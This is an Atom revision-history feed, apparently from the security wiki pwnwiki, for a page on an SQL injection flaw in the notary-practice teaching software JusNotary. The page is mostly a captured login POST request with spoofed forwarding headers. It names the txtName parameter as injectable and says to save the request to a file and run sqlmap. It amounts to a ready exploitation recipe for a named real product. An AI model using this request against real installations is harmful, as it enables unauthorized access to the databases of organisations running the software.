https://pwnwiki.com/index.php?action=history&feed=atom&title=%E6%9D%AD%E5%B7%9E%E6%B3%95%E6%BA%90%E8%BB%9F%E4%BB%B6_%E5%85%AC%E8%AD%89%E5%AF%A6%E5%8B%99%E6%95%99%E5%AD%B8%E8%BB%9F%E4%BB%B6_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E
杭州法源軟件 公證實務教學軟件 SQL注入漏洞 - Revision history
2026-04-16T07:00:09Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E6%9D%AD%E5%B7%9E%E6%B3%95%E6%BA%90%E8%BB%9F%E4%BB%B6_%E5%85%AC%E8%AD%89%E5%AF%A6%E5%8B%99%E6%95%99%E5%AD%B8%E8%BB%9F%E4%BB%B6_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&diff=2705&oldid=prev
Pwnwiki: Created page with "==漏洞利用== 抓包： <pre> POST /JusNotary/ HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 219 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: appli..."
2021-05-07T08:36:03Z
<p>Created page with "==漏洞利用== 抓包： <pre> POST /JusNotary/ HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 219 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: appli..."</p>
<p><b>New page</b></p><div>==漏洞利用==<br />
抓包：<br />
<br />
<pre><br />
POST /JusNotary/ HTTP/1.1<br />
Host: xxx.xxx.xxx.xxx<br />
Content-Length: 219<br />
Cache-Control: max-age=0<br />
Upgrade-Insecure-Requests: 1<br />
Content-Type: application/x-www-form-urlencoded<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6<br />
Cookie: ASP.NET_SessionId=54zwf05sd1g4zyfpiuxxdmuc<br />
x-forwarded-for: 127.0.0.1<br />
x-originating-ip: 127.0.0.1<br />
x-remote-ip: 127.0.0.1<br />
x-remote-addr: 127.0.0.1<br />
Connection: close<br />
<br />
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTE5NTI5NDc1Ng8WAh4TVmFsaWRhdGVSZXF1ZXN0TW9kZQIBZGTTkYMK0k4DlIElq0ua0zvxEhpFH8rCzVrUscEhlVc9pw%3D%3D&__VIEWSTATEGENERATOR=1B0004A3&txtName=123&txtPwd=123&btnSubmit=+<br />
</pre><br />
<br />
其中註入的參數為 POST數據中的 txtName 參數, 保存為文件使用 Sqlmap注入</div>
Pwnwiki